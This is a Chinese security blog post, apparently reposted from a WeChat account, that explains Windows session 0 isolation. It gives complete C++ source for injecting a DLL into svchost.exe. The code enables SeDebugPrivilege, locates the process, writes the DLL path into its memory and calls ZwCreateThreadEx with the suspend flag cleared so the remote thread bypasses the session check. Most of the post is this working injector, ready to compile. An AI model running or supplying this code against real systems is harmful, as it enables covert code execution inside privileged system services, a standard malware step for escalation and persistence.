突破SESSION0注入

admin 2024年1月11日11:29:57评论183 views字数 5691阅读18分58秒阅读模式

什么是SESSION0

Windows操作系统有很多系统服务和很多应用程序,在Windows内核6.0以前,这些系统服务和用户自己系统的进程全都在一个会话中,这就是SESSION 0 ,而系统服务一般都是最高管理员权限,而用户应用程序一般都是本地用户权限,也因此,这样会造成一些安全问题,如,恶意软件会将某个系统服务作为攻击目标,通过劫持该服务,以达到提升自己权限的目的。

也因此,操作系统在内核6.0之后,引入了会话隔离机制,系统服务进程都放在SESSION 0 会话中,第一个登录的用户启动的进程会放在SESSION 1会话中,以此类推。这样就导致了系统在创建要给进程后,并不会立即运行,而是先挂起进程,在查看要运行的进程所在会话层之后,再决定是否恢复进程运行。

因此,如果我们要将DLL注入到SESSION 0会话中,那么通过CreateRemoteThread是不可以的,因为在CreateRemoteThread创建的线程,会调用ZwCreateThreadEx函数,而该函数的第七个参数会在此时被设置为1,代表的意思是将该线程挂起,不立即执行,在挂起的时候,会进行检查该进程会话属于哪一层。

如何突破SESSION 0隔离

既然CreateRemoteThread函数最后还是会调用ZwCreateThreadEx函数来创建远线程,那么我们直接使用该函数,并且将第七个参数设置为0,不就可以了吗?

代码

头文件

#include <Windows.h>

BOOL EnbalePrivileges(HANDLE hProcess, char* psPrivilegesName);
#include <Windows.h>

DWORD FindPIDByProcessName(LPCTSTR pProcessName);
#include <Windows.h>

BOOL ZwCreateThreadExInjectDll(DWORD PID, char* pszDllFileName);

源文件

#include "stdafx.h"
#include "AdjustTokenPrivilegesTest.h"
#include <iostream>

BOOL EnbalePrivileges(HANDLE hProcess, char* psPrivilegesName)
{

HANDLE hToken = NULL;
BOOL bRet = 0;
LUID luidValue = { 0 };
DWORD dwRet = 0;
TOKEN_PRIVILEGES tokenPrivileges = { 0 };
//1.打开目标进程,获取目标进程TOKEN_ADJUST_PRIVILEGES的令牌权限
bRet = OpenProcessToken(hProcess, TOKEN_ADJUST_PRIVILEGES, &hToken);
if (bRet == FALSE)
{
std::cout << "OpenProcessToken Error" << std::endl;
return FALSE;
}
//2.获取LUID值
dwRet = LookupPrivilegeValue(NULL, psPrivilegesName, &luidValue);
if (dwRet == 0)
{
std::cout << "LookupPrivilegeValue Error" << std::endl;
return FALSE;
}
//设置权限提升信息
tokenPrivileges.PrivilegeCount = 1;
tokenPrivileges.Privileges[0].Luid = luidValue;
tokenPrivileges.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;

bRet = AdjustTokenPrivileges(hToken, 0, &tokenPrivileges, 0, NULL, NULL);
if (bRet == FALSE)
{
std::cout << "AdjustTokenPrivileges Error" << std::endl;
return FALSE;
}
else{
//根据返回信息,判断特权是否s设置成功
dwRet = GetLastError();
if (dwRet == ERROR_SUCCESS){
return TRUE;
}
else if (ERROR_NOT_ALL_ASSIGNED == dwRet)
{
std::cout << "设置 Error" << std::endl;
return FALSE;
}
}
return FALSE;

}
#include "stdafx.h"
#include "FindPIDByProcessNameTest.h"
#include <TlHelp32.h>
#include <iostream>

DWORD FindPIDByProcessName(LPCTSTR pProcessName)
{
HANDLE hSnapshot;
DWORD PID = 0;
//1.打进程镜像
hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (hSnapshot == NULL)
{
std::cout << "CreateToolhelp32Snapshot Error!" << std::endl;
return PID;
}
PROCESSENTRY32 p32;
p32.dwSize = sizeof(PROCESSENTRY32);
if (Process32First(hSnapshot, &p32)){
do
{
if (strcmp(p32.szExeFile, pProcessName) == 0){
PID = p32.th32ProcessID;
return PID;
}
} while (Process32Next(hSnapshot, &p32));
}
return PID;
}
#include "stdafx.h"
#include "InjectDll.h"
#include <iostream>

BOOL ZwCreateThreadExInjectDll(DWORD PID, char* pszDllFileName)
{

std::cout << "pszDllFileName:" << pszDllFileName << std::endl;
std::cout << "ZwCreateThreadExInjectDll PID: " << PID << std::endl;
HANDLE hProcess;
SIZE_T dwSize = 0;
LPVOID lpVirtualAddr = NULL;
FARPROC pFuncProcAddr = NULL;
DWORD dwStatus = 0;
//1.通过PID,打开目标进程,获得目标进程句柄
hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, PID);
if (hProcess == NULL)
{
std::cout << "OpenProcess Error!" << std::endl;
return FALSE;
}
//2.根据目标进程句柄,申请内存
dwSize = lstrlen(pszDllFileName) + 1;
std::cout << "dwSize:" << dwSize << std::endl;
lpVirtualAddr = VirtualAllocEx(hProcess, NULL, dwSize, MEM_COMMIT, PAGE_READWRITE);
if (lpVirtualAddr == NULL)
{
std::cout << "VirtualAllocEx Error!" << std::endl;
return FALSE;
}
//3.将路径写入到目标进程中
if (WriteProcessMemory(hProcess, lpVirtualAddr, pszDllFileName, dwSize, NULL) == FALSE)
{
std::cout << "WriteProcessMemory Error!" << std::endl;
return FALSE;
}
//4.加载ntdll.dll
HMODULE hNtdllDll = LoadLibraryA("ntdll.dll");
if (NULL == hNtdllDll)
{
std::cout << "hNtdllDll Error!" << std::endl;
return FALSE;
}
//5.获取ZwCreateThreadEx函数 地址
#ifdef _WIN64
typedef DWORD(WINAPI *typedef_ZwCreateThreadEx)(
PHANDLE ThreadHandle,
ACCESS_MASK DesiredAccess,
LPVOID ObjectAttributes,
HANDLE ProcessHandle,
LPTHREAD_START_ROUTINE lpStartAddress,
LPVOID lpParameter,
ULONG CreateThreadFlags,
SIZE_T ZeroBits,
SIZE_T StackSize,
SIZE_T MaximumStackSize,
LPVOID pUnkown);
#else
typedef DWORD(WINAPI *typedef_ZwCreateThreadEx)(
PHANDLE ThreadHandle,
ACCESS_MASK DesiredAccess,
LPVOID ObjectAttributes,
HANDLE ProcessHandle,
LPTHREAD_START_ROUTINE lpStartAddress,
LPVOID lpParameter,
BOOL CreateSuspended,
DWORD dwStackSize,
DWORD dw1,
DWORD dw2,
LPVOID pUnkown);
#endif
typedef_ZwCreateThreadEx ZwCreateThreadEx = (typedef_ZwCreateThreadEx)::GetProcAddress(hNtdllDll, "ZwCreateThreadEx");
if (NULL == ZwCreateThreadEx)
{
std::cout << "GetProcAddress ZwCreateThreadEx Error!" << std::endl;
return FALSE;
}
// 使用 ZwCreateThreadEx 创建远线程, 实现 DLL 注入
HANDLE hRemoteThread = NULL;
// 获取LoadLibraryA函数地址
pFuncProcAddr = GetProcAddress(GetModuleHandle("Kernel32.dll"), "LoadLibraryA");
if (NULL == pFuncProcAddr)
{
std::cout << "GetProcAddress pFuncProcAddr Error!" << std::endl;
return FALSE;
}
dwStatus = ZwCreateThreadEx(&hRemoteThread, PROCESS_ALL_ACCESS, NULL, hProcess, (LPTHREAD_START_ROUTINE)pFuncProcAddr, lpVirtualAddr, 0, 0, 0, 0, NULL);
if (hRemoteThread == NULL)
{
std::cout << "hRemoteThread Error!" << std::endl;
return FALSE;
}
//关闭句柄
CloseHandle(hProcess);
FreeLibrary(hNtdllDll);
return TRUE;
}
// 3.3突破SESSION0.cpp : 定义控制台应用程序的入口点。
//

#include "stdafx.h"
#include "AdjustTokenPrivilegesTest.h"
#include "FindPIDByProcessNameTest.h"
#include "InjectDll.h"
#include <iostream>


int _tmain(int argc, _TCHAR* argv[])
{
//1.令牌提升
BOOL bRet = FALSE;
bRet = EnbalePrivileges(GetCurrentProcess(), SE_DEBUG_NAME);
if (bRet == FALSE)
{
std::cout << "EnbalePrivileges Error" << std::endl;

}
DWORD PID = FindPIDByProcessName("svchost.exe");
std::cout << "PID" << PID << std::endl;
if (PID == 0)
{
std::cout << "PID Error" << std::endl;
return 0;
}
bRet = ZwCreateThreadExInjectDll(PID, "C:\Project\TestDll.dll");
if (bRet == FALSE)
{
std::cout << "ZwCreateThreadExInjectDll Error" << std::endl;
return 0;
}
std::cout << "ZwCreateThreadExInjectDll Success" << std::endl;
system("pause");
return 0;
}

实现效果

突破SESSION0注入

注意事项

以管理员身份运行时,由于OpenProcess函数的缘故,在打开高权限进程时,会因为权限不足而无法打开进程。

32位和64位系统下,函数声明是有区别的,需要注意

如果在DLL中想通过MessageBox弹窗来判断是否DLL注入成功,那么就会大失所望。由于会话隔离,在系统服务程序里是不能显示程序窗体的,也不能用常规方式创建用户进程。为了解决服务层和用户层的交互问题,微软专门提供了一系列WTS开头的函数来实现这些功能。

原文始发于微信公众号(loochSec):突破SESSION0注入

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年1月11日11:29:57
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   突破SESSION0注入https://cn-sec.com/archives/2216119.html

发表评论

匿名网友 填写信息